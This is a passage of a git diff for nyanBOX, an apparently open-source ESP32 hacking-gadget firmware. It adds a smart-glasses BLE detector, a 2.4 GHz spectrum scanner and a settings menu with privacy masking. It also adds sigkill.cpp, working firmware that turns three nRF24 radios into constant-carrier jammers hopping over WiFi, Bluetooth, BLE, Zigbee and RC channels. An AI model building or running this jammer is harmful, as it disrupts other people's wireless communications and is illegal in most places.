>= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (raybanDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (raybanDevices.empty()) { + if (isContinuousScanEnabled()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "RayBan devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No RayBans found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = raybanDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + auto &dev = raybanDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "RSSI: %d", dev.rssi); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "RayBans: %d/%d", (int)raybanDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)raybanDevices.size()) + break; + auto &d = raybanDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + char maskedName[33]; + maskName(d.name, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/scanner.cpp b/cyd-port/src/scanner.cpp new file mode 100644 index 0000000..8a1c575 --- /dev/null +++ b/cyd-port/src/scanner.cpp @@ -0,0 +1,181 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include "../include/scanner.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/pindefs.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; +extern Adafruit_NeoPixel pixels; + +// Radio pins +#define CE RADIO_CE_PIN_1 +#define CSN RADIO_CSN_PIN_1 + +#define CHANNELS 64 +int channel[CHANNELS]; + +int line; +char grey[] = " .:-=+*aRW"; + +#define _NRF24_CONFIG 0x00 +#define _NRF24_EN_AA 0x01 +#define _NRF24_RF_CH 0x05 +#define _NRF24_RF_SETUP 0x06 +#define _NRF24_RPD 0x09 + +byte sensorArray[129]; + +byte getRegister(byte r) { + byte c; + digitalWrite(CSN, LOW); + SPI.transfer(r & 0x1F); + c = SPI.transfer(0); + digitalWrite(CSN, HIGH); + return c; +} + +void setRegister(byte r, byte v) { + digitalWrite(CSN, LOW); + SPI.transfer((r & 0x1F) | 0x20); + SPI.transfer(v); + digitalWrite(CSN, HIGH); +} + +void powerUp(void) { + setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) | 0x02); + delayMicroseconds(130); +} + +void powerDown(void) { + setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) & ~0x02); +} + +void enable(void) { + digitalWrite(CE, HIGH); +} + +void disable(void) { + digitalWrite(CE, LOW); +} + +void setRX(void) { + setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) | 0x01); + enable(); + delayMicroseconds(100); +} + +void scanChannels(void) { + disable(); + + memset(channel, 0, sizeof(channel)); + + const int samplesPerChannel = 50; // Number of samples per channel to average + + for (int i = 0; i < CHANNELS; i++) { + setRegister(_NRF24_RF_CH, (128 * i) / CHANNELS); + + for (int j = 0; j < samplesPerChannel; j++) { + setRX(); + delayMicroseconds(100); + disable(); + channel[i] += getRegister(_NRF24_RPD); // Add the RPD value (1 or 0) + } + + // Average the accumulated values for this channel + channel[i] = (channel[i] * 100) / samplesPerChannel; // Convert to a percentage + } +} + +void outputChannels(void) { + int norm = 0; + + // Find the maximum value in the channel array for normalization + for (int i = 0; i < CHANNELS; i++) { + if (channel[i] > norm) { + norm = channel[i]; + } + } + + byte drawHeight = map(norm, 0, 64, 0, 64); + + // Update sensorArray with the new value (shift left for right-to-left movement) + for (byte count = 126; count > 0; count--) { + sensorArray[count] = sensorArray[count - 1]; + } + sensorArray[0] = drawHeight; + + u8g2.clearBuffer(); + + u8g2.drawLine(0, 0, 0, 63); + u8g2.drawLine(127, 0, 127, 63); + + for (byte count = 0; count < 64; count += 10) { + u8g2.drawLine(127, count, 122, count); // Right-side markers + u8g2.drawLine(0, count, 5, count); // Left-side markers + } + + for (byte count = 10; count < 127; count += 10) { + u8g2.drawPixel(count, 0); + u8g2.drawPixel(count, 63); + } + + // Draw the graph moving right to left + for (byte count = 0; count < 127; count++) { + u8g2.drawLine(127 - count, 63, 127 - count, 63 - sensorArray[count]); + } + + + u8g2.setFont(u8g2_font_ncenB08_tr); + u8g2.setCursor(12, 12); + u8g2.print("["); + u8g2.print(norm); + u8g2.print("]"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void scannerSetup() { + Serial.begin(115200); + + cleanupRadio(); + + for (byte count = 0; count <= 128; count++) { + sensorArray[count] = 0; + } + + SPI.begin(18, 19, 23, 17); + delay(100); + SPI.setDataMode(SPI_MODE0); + SPI.setFrequency(16000000); + SPI.setBitOrder(MSBFIRST); + + pinMode(CE, OUTPUT); + pinMode(CSN, OUTPUT); + + disable(); + + powerUp(); + setRegister(_NRF24_EN_AA, 0x0); + setRegister(_NRF24_RF_SETUP, 0x0F); + +} + +void scannerLoop() { + scanChannels(); + outputChannels(); + +} diff --git a/cyd-port/src/setting.cpp b/cyd-port/src/setting.cpp new file mode 100644 index 0000000..d04700d --- /dev/null +++ b/cyd-port/src/setting.cpp @@ -0,0 +1,487 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include +#include + +#include "../include/setting.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/level_system.h" +#include "../include/legal_disclaimer.h" +#include "../include/pindefs.h" +#include "../include/password.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define EEPROM_ADDRESS_NEOPIXEL 0 +#define EEPROM_ADDRESS_BRIGHTNESS 1 +#define EEPROM_ADDRESS_SLEEP_TIMEOUT 3 +#define EEPROM_ADDRESS_CONTINUOUS_SCAN 4 +#define EEPROM_ADDRESS_PRIVACY_MODE 5 + +int currentSetting = 0; +int totalSettings = 8; +bool neoPixelActive = true; +uint8_t oledBrightness = 100; +extern bool dangerousActionsEnabled; +bool continuousScanEnabled = true; +bool privacyModeEnabled = false; +bool showResetConfirm = false; +uint8_t sleepTimeoutIndex = 3; + +static bool needsRedraw = true; +static int lastCurrentSetting = -1; +static bool lastNeoPixelActive = true; +static uint8_t lastOledBrightness = 100; +static bool lastDangerousActionsEnabled = false; +static bool lastContinuousScanEnabled = true; +static bool lastPrivacyModeEnabled = false; +static bool lastShowResetConfirm = false; +static uint8_t lastSleepTimeoutIndex = 3; + +const unsigned long sleepTimeouts[] = {15, 30, 60, 120, 300, 900, 1800, 0}; +const char* sleepTimeoutNames[] = {"15s", "30s", "1m", "2m", "5m", "15m", "30m", "Off"}; +const int sleepTimeoutCount = 8; + +extern unsigned long idleTimeout; +extern void updateSleepTimeout(unsigned long newTimeout); + +void handleDangerousActions() { + if (!dangerousActionsEnabled) { + if (showLegalDisclaimer()) { + dangerousActionsEnabled = true; + } + } else { + dangerousActionsEnabled = false; + } +} + + +void settingSetup() { + uint8_t neoPixelValue = EEPROM.read(EEPROM_ADDRESS_NEOPIXEL); + uint8_t brightnessValue = EEPROM.read(EEPROM_ADDRESS_BRIGHTNESS); + uint8_t sleepTimeoutValue = EEPROM.read(EEPROM_ADDRESS_SLEEP_TIMEOUT); + uint8_t continuousScanValue = EEPROM.read(EEPROM_ADDRESS_CONTINUOUS_SCAN); + uint8_t privacyModeValue = EEPROM.read(EEPROM_ADDRESS_PRIVACY_MODE); + + if (neoPixelValue == 0xFF) { + neoPixelActive = true; + EEPROM.write(EEPROM_ADDRESS_NEOPIXEL, 1); + EEPROM.commit(); + } else { + neoPixelActive = (neoPixelValue == 1); + } + + if (brightnessValue > 255) { + oledBrightness = 128; + } else { + oledBrightness = brightnessValue; + } + + if (sleepTimeoutValue == 0xFF || sleepTimeoutValue >= sleepTimeoutCount) { + sleepTimeoutIndex = 3; + EEPROM.write(EEPROM_ADDRESS_SLEEP_TIMEOUT, sleepTimeoutIndex); + EEPROM.commit(); + } else { + sleepTimeoutIndex = sleepTimeoutValue; + } + + if (continuousScanValue == 0xFF) { + continuousScanEnabled = true; + EEPROM.write(EEPROM_ADDRESS_CONTINUOUS_SCAN, 1); + EEPROM.commit(); + } else { + continuousScanEnabled = (continuousScanValue == 1); + } + + if (privacyModeValue == 0xFF) { + privacyModeEnabled = false; + EEPROM.write(EEPROM_ADDRESS_PRIVACY_MODE, 0); + EEPROM.commit(); + } else { + privacyModeEnabled = (privacyModeValue == 1); + } + + u8g2.setContrast(oledBrightness); + + updateSleepTimeout(sleepTimeouts[sleepTimeoutIndex] * 1000); + + currentSetting = 0; + showResetConfirm = false; + + needsRedraw = true; + lastCurrentSetting = -1; + lastNeoPixelActive = neoPixelActive; + lastOledBrightness = oledBrightness; + lastDangerousActionsEnabled = dangerousActionsEnabled; + lastContinuousScanEnabled = continuousScanEnabled; + lastPrivacyModeEnabled = privacyModeEnabled; + lastShowResetConfirm = false; + lastSleepTimeoutIndex = sleepTimeoutIndex; +} + +void settingLoop() { + static bool upPressed = false; + static bool downPressed = false; + static bool rightPressed = false; + static bool leftPressed = false; + static unsigned long lastUpPress = 0; + static unsigned long lastDownPress = 0; + static unsigned long lastRightPress = 0; + static unsigned long lastLeftPress = 0; + const unsigned long debounceDelay = 200; + + checkIdle(); + + unsigned long now = millis(); + bool up = !digitalRead(BUTTON_PIN_UP); + bool down = !digitalRead(BUTTON_PIN_DOWN); + bool right = !digitalRead(BUTTON_PIN_RIGHT); + bool left = !digitalRead(BUTTON_PIN_LEFT); + + if (up) { + if (!upPressed && (now - lastUpPress > debounceDelay)) { + upPressed = true; + lastUpPress = now; + if (!showResetConfirm) { + currentSetting = (currentSetting - 1 + totalSettings) % totalSettings; + needsRedraw = true; + } + } + } else { + upPressed = false; + } + + if (down) { + if (!downPressed && (now - lastDownPress > debounceDelay)) { + downPressed = true; + lastDownPress = now; + if (!showResetConfirm) { + currentSetting = (currentSetting + 1) % totalSettings; + needsRedraw = true; + } + } + } else { + downPressed = false; + } + + if (right) { + if (!rightPressed && (now - lastRightPress > debounceDelay)) { + rightPressed = true; + lastRightPress = now; + + if (showResetConfirm) { + resetXPData(); + showResetConfirm = false; + needsRedraw = true; + } else { + switch (currentSetting) { + case 0: + neoPixelActive = !neoPixelActive; + EEPROM.write(EEPROM_ADDRESS_NEOPIXEL, neoPixelActive ? 1 : 0); + EEPROM.commit(); + needsRedraw = true; + break; + + case 1: + { + uint8_t percent = map(oledBrightness, 0, 255, 0, 100); + percent += 10; + if (percent > 100) percent = 0; + oledBrightness = map(percent, 0, 100, 0, 255); + u8g2.setContrast(oledBrightness); + EEPROM.write(EEPROM_ADDRESS_BRIGHTNESS, oledBrightness); + EEPROM.commit(); + needsRedraw = true; + } + break; + + case 2: + handleDangerousActions(); + needsRedraw = true; + break; + + case 3: + sleepTimeoutIndex = (sleepTimeoutIndex + 1) % sleepTimeoutCount; + EEPROM.write(EEPROM_ADDRESS_SLEEP_TIMEOUT, sleepTimeoutIndex); + EEPROM.commit(); + updateSleepTimeout(sleepTimeouts[sleepTimeoutIndex] * 1000); + needsRedraw = true; + break; + + case 4: + continuousScanEnabled = !continuousScanEnabled; + EEPROM.write(EEPROM_ADDRESS_CONTINUOUS_SCAN, continuousScanEnabled ? 1 : 0); + EEPROM.commit(); + needsRedraw = true; + break; + + case 5: + privacyModeEnabled = !privacyModeEnabled; + EEPROM.write(EEPROM_ADDRESS_PRIVACY_MODE, privacyModeEnabled ? 1 : 0); + EEPROM.commit(); + needsRedraw = true; + break; + + case 6: + if (passwordEnabled()) { + clearPassword(); + needsRedraw = true; + } else { + setPasswordInSettings(); + needsRedraw = true; + } + break; + + case 7: + showResetConfirm = true; + needsRedraw = true; + break; + } + } + } + } else { + rightPressed = false; + } + + if (left) { + if (!leftPressed && (now - lastLeftPress > debounceDelay)) { + leftPressed = true; + lastLeftPress = now; + if (showResetConfirm) { + showResetConfirm = false; + needsRedraw = true; + } + } + } else { + leftPressed = false; + } + + if (lastCurrentSetting != currentSetting) { + lastCurrentSetting = currentSetting; + needsRedraw = true; + } + if (lastNeoPixelActive != neoPixelActive) { + lastNeoPixelActive = neoPixelActive; + needsRedraw = true; + } + if (lastOledBrightness != oledBrightness) { + lastOledBrightness = oledBrightness; + needsRedraw = true; + } + if (lastDangerousActionsEnabled != dangerousActionsEnabled) { + lastDangerousActionsEnabled = dangerousActionsEnabled; + needsRedraw = true; + } + if (lastShowResetConfirm != showResetConfirm) { + lastShowResetConfirm = showResetConfirm; + needsRedraw = true; + } + if (lastSleepTimeoutIndex != sleepTimeoutIndex) { + lastSleepTimeoutIndex = sleepTimeoutIndex; + needsRedraw = true; + } + if (lastContinuousScanEnabled != continuousScanEnabled) { + lastContinuousScanEnabled = continuousScanEnabled; + needsRedraw = true; + } + if (lastPrivacyModeEnabled != privacyModeEnabled) { + lastPrivacyModeEnabled = privacyModeEnabled; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (showResetConfirm) { + u8g2.setFont(u8g2_font_helvB08_tr); + int titleWidth = u8g2.getUTF8Width("Reset XP Data?"); + u8g2.drawStr((128 - titleWidth) / 2, 20, "Reset XP Data?"); + + u8g2.setFont(u8g2_font_6x10_tr); + int messageWidth = u8g2.getUTF8Width("Reset to Level 1"); + u8g2.drawStr((128 - messageWidth) / 2, 35, "Reset to Level 1"); + + u8g2.setFont(u8g2_font_4x6_tr); + int buttonWidth = u8g2.getUTF8Width("LEFT=Cancel RIGHT=Confirm"); + u8g2.drawStr((128 - buttonWidth) / 2, 55, "LEFT=Cancel RIGHT=Confirm"); + } else { + u8g2.setFont(u8g2_font_helvB08_tr); + u8g2.drawStr(45, 12, "Settings"); + + u8g2.setFont(u8g2_font_6x10_tr); + + int startIndex = max(0, min(currentSetting - 1, totalSettings - 4)); + int displayIndex = 0; + + for (int i = startIndex; i < min(startIndex + 4, totalSettings); i++) { + int yPos = 25 + displayIndex * 12; + + if (currentSetting == i) u8g2.drawStr(2, yPos, ">"); + + switch (i) { + case 0: + u8g2.drawStr(10, yPos, "NeoPixel:"); + u8g2.drawStr(85, yPos, neoPixelActive ? "On" : "Off"); + break; + case 1: + u8g2.drawStr(10, yPos, "Brightness:"); + char brightStr[8]; + sprintf(brightStr, "%d%%", (int)map(oledBrightness, 0, 255, 0, 100)); + u8g2.drawStr(85, yPos, brightStr); + break; + case 2: + u8g2.drawStr(10, yPos, "Dangerous:"); + u8g2.drawStr(85, yPos, dangerousActionsEnabled ? "On" : "Off"); + break; + case 3: + u8g2.drawStr(10, yPos, "Sleep:"); + u8g2.drawStr(85, yPos, sleepTimeoutNames[sleepTimeoutIndex]); + break; + case 4: + u8g2.drawStr(10, yPos, "Fast Retry:"); + u8g2.drawStr(85, yPos, continuousScanEnabled ? "On" : "Off"); + break; + case 5: + u8g2.drawStr(10, yPos, "Privacy:"); + u8g2.drawStr(85, yPos, privacyModeEnabled ? "On" : "Off"); + break; + case 6: + u8g2.drawStr(10, yPos, "Password:"); + u8g2.drawStr(85, yPos, passwordEnabled() ? "On" : "Off"); + break; + case 7: + u8g2.drawStr(10, yPos, "Reset XP:"); + char lvlStr[8]; + sprintf(lvlStr, "Lv%d", getCurrentLevel()); + u8g2.drawStr(85, yPos, lvlStr); + break; + } + displayIndex++; + } + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +bool isDangerousActionsEnabled() { + return dangerousActionsEnabled; +} + +bool isContinuousScanEnabled() { + return continuousScanEnabled; +} + +bool isPrivacyModeEnabled() { + return privacyModeEnabled; +} + +void maskMAC(const char* original, char* masked) { + if (!privacyModeEnabled || original == nullptr || masked == nullptr) { + if (original && masked) { + strcpy(masked, original); + } + return; + } + + // Exclude generic placeholder MAC addresses from masking + if (strcmp(original, "N/A") == 0) { + strcpy(masked, original); + return; + } + + strncpy(masked, original, 8); + masked[8] = '\0'; + + strcat(masked, ":**:**:**"); +} + +void maskName(const char* original, char* masked, int maxLen) { + if (!privacyModeEnabled || original == nullptr || masked == nullptr) { + if (original && masked) { + strncpy(masked, original, maxLen); + masked[maxLen] = '\0'; + } + return; + } + + // Exclude generic placeholder names from masking + if (strcmp(original, "Unknown") == 0 || + strcmp(original, "Hidden") == 0 || + strcmp(original, "N/A") == 0 || + strcmp(original, "AirTag") == 0 || + strcmp(original, "SmartTag") == 0 || + strcmp(original, "Axon Device") == 0 || + strcmp(original, "Flipper Zero") == 0 || + strcmp(original, "MeshCore") == 0 || + strcmp(original, "Meshtastic") == 0 || + strcmp(original, "Tile") == 0 || + strcmp(original, "RayBan Device") == 0 || + strcmp(original, "Flock Device") == 0) { + strncpy(masked, original, maxLen); + masked[maxLen] = '\0'; + return; + } + + int len = strlen(original); + if (len == 0) { + masked[0] = '\0'; + return; + } + + masked[0] = original[0]; + + int asterisks = min(len - 1, maxLen - 1); + for (int i = 1; i <= asterisks; i++) { + masked[i] = '*'; + } + masked[asterisks + 1] = '\0'; +} + +void maskNameEvilPortal(const char* original, char* masked, int maxLen, const char* customSSIDs[], int customSSIDCount) { + if (!privacyModeEnabled || original == nullptr || masked == nullptr) { + if (original && masked) { + strncpy(masked, original, maxLen); + masked[maxLen] = '\0'; + } + return; + } + + // Exclude custom SSIDs from masking in Evil Portal + for (int i = 0; i < customSSIDCount; i++) { + if (strcmp(original, customSSIDs[i]) == 0) { + strncpy(masked, original, maxLen); + masked[maxLen] = '\0'; + return; + } + } + + int len = strlen(original); + if (len == 0) { + masked[0] = '\0'; + return; + } + + masked[0] = original[0]; + + int asterisks = min(len - 1, maxLen - 1); + for (int i = 1; i <= asterisks; i++) { + masked[i] = '*'; + } + masked[asterisks + 1] = '\0'; +} \ No newline at end of file diff --git a/cyd-port/src/sigkill.cpp b/cyd-port/src/sigkill.cpp new file mode 100644 index 0000000..a06cf30 --- /dev/null +++ b/cyd-port/src/sigkill.cpp @@ -0,0 +1,374 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include "../include/sigkill.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/icon.h" +#include "../include/pindefs.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +RF24 radio_1(RADIO_CE_PIN_1, RADIO_CSN_PIN_1, 16000000); +RF24 radio_2(RADIO_CE_PIN_2, RADIO_CSN_PIN_2, 16000000); +RF24 radio_3(RADIO_CE_PIN_3, RADIO_CSN_PIN_3, 16000000); + +enum SigKillMode { SIG_MENU, SIG_JAMMING }; +enum ProtocolType { ALL, WIFI, BLUETOOTH, BLE, VIDEO_TX, RC, USB_WIRELESS, ZIGBEE, NRF24 }; + +static SigKillMode currentMode = SIG_MENU; +static ProtocolType selectedProtocol = ALL; +static int menuSelection = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceDelay = 200; + +static bool needsRedraw = true; +static int lastMenuSelection = -1; +static SigKillMode lastMode = SIG_MENU; +static ProtocolType lastProtocol = ALL; + +// Protocol channel definitions +const byte bluetooth_channels[] = {32,34,46,48,50,52,0,1,2,4,6,8,22,24,26,28,30,74,76,78,80}; +const byte ble_channels[] = {2,26,80}; +const byte wifi_channels[] = {1,2,3,4,5,6,7,8,9,10,11,12}; +const byte usbWireless_channels[] = {40,50,60}; +const byte videoTransmitter_channels[] = {70,75,80}; +const byte rc_channels[] = {1,3,5,7}; +const byte zigbee_channels[] = {11,15,20,25}; +const byte nrf24_channels[] = {76,78,79}; + +const char* protocolNames[] = { + "All", "WiFi", "Bluetooth", "BLE", "Video TX", "RC", + "USB Wireless", "Zigbee", "NRF24" +}; + +void configureRadio(RF24 &radio, byte initialChannel) { + radio.setAutoAck(false); + radio.stopListening(); + radio.setRetries(0, 0); + radio.setPALevel(RF24_PA_MAX, true); + radio.setDataRate(RF24_2MBPS); + radio.setCRCLength(RF24_CRC_DISABLED); + radio.printPrettyDetails(); + + radio.startConstCarrier(RF24_PA_MAX, initialChannel); +} + +void initializeRadios() { + SPI.begin(); + delay(100); + + if (radio_1.begin()) configureRadio(radio_1, 2); + if (radio_2.begin()) configureRadio(radio_2, 26); + if (radio_3.begin()) configureRadio(radio_3, 80); +} + +void powerDownRadios() { + radio_1.powerDown(); + radio_2.powerDown(); + radio_3.powerDown(); + delay(100); +} + +static void drawSigMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "SigKill Mode:"); + + int start = (menuSelection / 4) * 4; + + for (int i = 0; i < 4 && (start + i) < 9; i++) { + int idx = start + i; + char line[24]; + snprintf(line, sizeof(line), "%s %s", + (idx == menuSelection) ? ">" : " ", + protocolNames[idx]); + u8g2.drawStr(0, 22 + (i * 10), line); + } + + int scrollbarX = 122; + int scrollbarWidth = 4; + int scrollbarY = 14; + int scrollbarHeight = 34; + + u8g2.drawFrame(scrollbarX, scrollbarY, scrollbarWidth, scrollbarHeight); + + int thumbHeight = (scrollbarHeight * 4) / 9; + int maxThumbTravel = scrollbarHeight - thumbHeight - 2; + int thumbY = scrollbarY + 1 + ((menuSelection * maxThumbTravel) / 8); + + u8g2.drawBox(scrollbarX + 1, thumbY, scrollbarWidth - 2, thumbHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Move R=Start SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawActiveJamming(const char* protocolName) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + char title[32]; + snprintf(title, sizeof(title), "%s Jamming", protocolName); + u8g2.drawStr(0, 12, title); + u8g2.drawStr(0, 28, "Status: Active"); + u8g2.setFont(u8g2_font_5x8_tr); + char radioStatus[32]; + snprintf(radioStatus, sizeof(radioStatus), "R1:%s R2:%s R3:%s", + radio_1.isChipConnected() ? "ON" : "OFF", + radio_2.isChipConnected() ? "ON" : "OFF", + radio_3.isChipConnected() ? "ON" : "OFF"); + u8g2.drawStr(0, 42, radioStatus); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void sigkillSetup() { + Serial.begin(115200); + + cleanupRadio(); + + pinMode(BUTTON_PIN_UP, INPUT_PULLUP); + pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); + pinMode(BUTTON_PIN_RIGHT, INPUT_PULLUP); + pinMode(BUTTON_PIN_LEFT, INPUT_PULLUP); + + currentMode = SIG_MENU; + menuSelection = 0; + selectedProtocol = ALL; + + needsRedraw = true; + lastMenuSelection = -1; + lastMode = SIG_MENU; + lastProtocol = ALL; + + powerDownRadios(); + drawSigMenu(); +} + +void sigkillLoop() { + unsigned long now = millis(); + + bool up = digitalRead(BUTTON_PIN_UP) == LOW; + bool down = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool left = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool right = digitalRead(BUTTON_PIN_RIGHT) == LOW; + + if (lastMode != currentMode) { + lastMode = currentMode; + needsRedraw = true; + } + if (lastMenuSelection != menuSelection) { + lastMenuSelection = menuSelection; + needsRedraw = true; + } + if (lastProtocol != selectedProtocol) { + lastProtocol = selectedProtocol; + needsRedraw = true; + } + + switch (currentMode) { + case SIG_MENU: + if (now - lastButtonPress > debounceDelay) { + if (up) { + menuSelection = (menuSelection - 1 + 9) % 9; + needsRedraw = true; + lastButtonPress = now; + } else if (down) { + menuSelection = (menuSelection + 1) % 9; + needsRedraw = true; + lastButtonPress = now; + } else if (right) { + selectedProtocol = (ProtocolType)menuSelection; + currentMode = SIG_JAMMING; + needsRedraw = true; + initializeRadios(); + lastButtonPress = now; + } + } + + if (needsRedraw) { + needsRedraw = false; + drawSigMenu(); + } + break; + + case SIG_JAMMING: + if (needsRedraw) { + needsRedraw = false; + drawActiveJamming(protocolNames[selectedProtocol]); + } + + { + int randomIndex1, randomIndex2, randomIndex3; + int channel1, channel2, channel3; + + switch (selectedProtocol) { + case ALL: + { + static int protocolIndex = 0; + const byte* channelArray; + int arraySize; + + switch (protocolIndex % 8) { + case 0: channelArray = wifi_channels; arraySize = sizeof(wifi_channels); break; + case 1: channelArray = bluetooth_channels; arraySize = sizeof(bluetooth_channels); break; + case 2: channelArray = ble_channels; arraySize = sizeof(ble_channels); break; + case 3: channelArray = videoTransmitter_channels; arraySize = sizeof(videoTransmitter_channels); break; + case 4: channelArray = rc_channels; arraySize = sizeof(rc_channels); break; + case 5: channelArray = usbWireless_channels; arraySize = sizeof(usbWireless_channels); break; + case 6: channelArray = zigbee_channels; arraySize = sizeof(zigbee_channels); break; + case 7: channelArray = nrf24_channels; arraySize = sizeof(nrf24_channels); break; + } + + randomIndex1 = random(0, arraySize / sizeof(byte)); + randomIndex2 = random(0, arraySize / sizeof(byte)); + randomIndex3 = random(0, arraySize / sizeof(byte)); + + channel1 = channelArray[randomIndex1]; + channel2 = channelArray[randomIndex2]; + channel3 = channelArray[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + + protocolIndex++; + } + break; + + case WIFI: + randomIndex1 = random(0, sizeof(wifi_channels) / sizeof(wifi_channels[0])); + randomIndex2 = random(0, sizeof(wifi_channels) / sizeof(wifi_channels[0])); + randomIndex3 = random(0, sizeof(wifi_channels) / sizeof(wifi_channels[0])); + + channel1 = wifi_channels[randomIndex1]; + channel2 = wifi_channels[randomIndex2]; + channel3 = wifi_channels[randomIndex3]; + + radio_1.setChannel(channel1); + radio_2.setChannel(channel2); + radio_3.setChannel(channel3); + break; + + case BLUETOOTH: + randomIndex1 = random(0, sizeof(bluetooth_channels) / sizeof(bluetooth_channels[0])); + randomIndex2 = random(0, sizeof(bluetooth_channels) / sizeof(bluetooth_channels[0])); + randomIndex3 = random(0, sizeof(bluetooth_channels) / 